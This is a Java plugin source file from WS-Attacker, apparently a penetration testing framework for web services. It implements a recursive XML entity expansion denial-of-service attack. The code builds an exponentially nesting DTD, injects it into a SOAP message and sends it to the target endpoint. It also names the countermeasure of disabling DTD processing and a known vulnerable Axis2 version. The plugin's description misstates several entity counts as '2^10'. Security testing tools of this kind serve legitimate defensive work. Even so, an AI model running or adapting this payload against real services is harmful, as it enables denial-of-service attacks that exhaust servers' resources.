/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2012 Andreas Falkenberg * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package wsattacker.plugin.dos; import java.util.HashMap; import java.util.Map; import wsattacker.main.composition.plugin.option.AbstractOptionInteger; import wsattacker.main.plugin.option.OptionLimitedInteger; import wsattacker.plugin.dos.dosExtension.abstractPlugin.AbstractDosPlugin; import wsattacker.plugin.dos.dosExtension.option.OptionTextAreaSoapMessage; public class XmlEntityExpansion extends AbstractDosPlugin { private static final long serialVersionUID = 1L; // Custom Attributes private AbstractOptionInteger optionExponent; @Override public void initializeDosPlugin() { initData(); // Custom Initilisation optionExponent = new OptionLimitedInteger( "Number of entities (power of 2)", 20, "Exponent for calculating the number of entities (total entities = 2^Param8)", 1, 200 ); getPluginOptions().add( optionExponent ); } public AbstractOptionInteger getOptionNumberOfEntities() { return optionExponent; } @Override public OptionTextAreaSoapMessage.PayloadPosition getPayloadPosition() { return OptionTextAreaSoapMessage.PayloadPosition.BODYLASTCHILDELEMENT; } public void initData() { setName( "XML Entity Expansion (recursive)" ); setDescription( "<html><p>This attack checks whether or not a Web service is vulnerable to the \"XML Entity Expansion\" attack.</p>" + "<p>A vulnerable Web service runs out of resources when trying to resolve a large amount of recursively defined entities." + "The entities are defined in the Document Type Definition (DTD). " + "A detailed description of the attack can be found on <a href=\"http://clawslab.nds.rub.de/wiki/index.php/XML_Remote_Entity_Expansion\">http://clawslab.nds.rub.de/wiki/index.php/XML_Remote_Entity_Expansion</a></p>" + "<p>The attack algorithm replaces the string $$PAYLOADATTR$$ in the SOAP message below " + "with an attribute that uses an entity that will start the recursive process. " + "The placeholder $$PAYLOADATTR$$ can be set to any other position in the SOAP message.</p>" + "<p>The number of entitites defines the exponent that is used for calculating the number of resulting XML entities. " + "The base is 2.<ul>" + "<li>Input 10 will result in 2^10 = 1024 entities.</li>" + "<li>Input 15 will result in 2^10 = 32768 entities.</li>" + "<li>Input 20 will result in 2^10 = 1048576 entities.</li>" + "<li>Input 25 will result in 2^10 = 33554432 entities</li></ul></p></html>" ); setCountermeasures( "In order to counter the attack, the DTD-processing (Document Type Definitions) feature has to be disabled completly.\n" + "Apache Axis2 1.5.2 is known to be vulnerable to this attack. Current versions of Apache Axis2 are not vulnerable anymore" ); } @Override public void createTamperedRequest() { // get Message String soapMessageFinal; String soapMessage = this.getOptionTextAreaSoapMessage().getValue(); // inset payload entity in envelope // String attribute = "entityAttack=\"&x1;\""; // soapMessage = // this.getOptionTextAreaSoapMessage().replacePlaceholderWithPayload(soapMessage, // attribute); // prepend DTD to message StringBuilder sb = new StringBuilder(); sb.append( "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" ); sb.append( "<!DOCTYPE " ); sb.append( "Envelope [" ); sb.append( "<!ENTITY x0 \"Fo\">" ); int value = optionExponent.getValue(); for ( int element = 1; element < value; element++ ) { sb.append( "<!ENTITY x" + element + " \"&x" + ( element - 1 ) + ";&x" + ( element - 1 ) + ";\">" ); } sb.append( "]" ); sb.append( ">" ); sb.append( this.getOptionTextAreaSoapMessage().getValue() ); // sb.append("\r\n\r\n"); soapMessage = sb.toString(); soapMessageFinal = this.getOptionTextAreaSoapMessage().replacePlaceholderWithPayload( soapMessage, "<s>&x" + ( value - 1 ) + ";</s>" ); // sb = new StringBuilder(); // sb.append("<!DOCTYPE root ["); // sb.append("<!ENTITY x32 \"foobar\">"); // for (int i = 32; i > 0; i--) { // sb.append("<!ENTITY x" + (i - 1) + " \"&x" + i + ";&x" + i + ";\">"); // } // sb.append("]>"); // sb.append("root attr=\"&x1;\"/>"); // \r\n\r\n // soapMessageFinal = sb.toString(); // get HeaderFields from original request, if required add custom // headers - make sure to clone! Map<String, String> httpHeaderMap = new HashMap<String, String>(); for ( Map.Entry<String, String> entry : getOriginalRequestHeaderFields().entrySet() ) { httpHeaderMap.put( entry.getKey(), entry.getValue() ); } httpHeaderMap.put( "Content-Type", "application/xml; charset=UTF-8" ); // ; // charset=UTF-8" // write payload and header to TamperedRequestObject this.setTamperedRequestObject( httpHeaderMap, getOriginalRequest().getEndpoint(), soapMessageFinal ); } // ---------------------------------------------------------- // All custom DOS-Attack specific Methods below! // ---------------------------------------------------------- }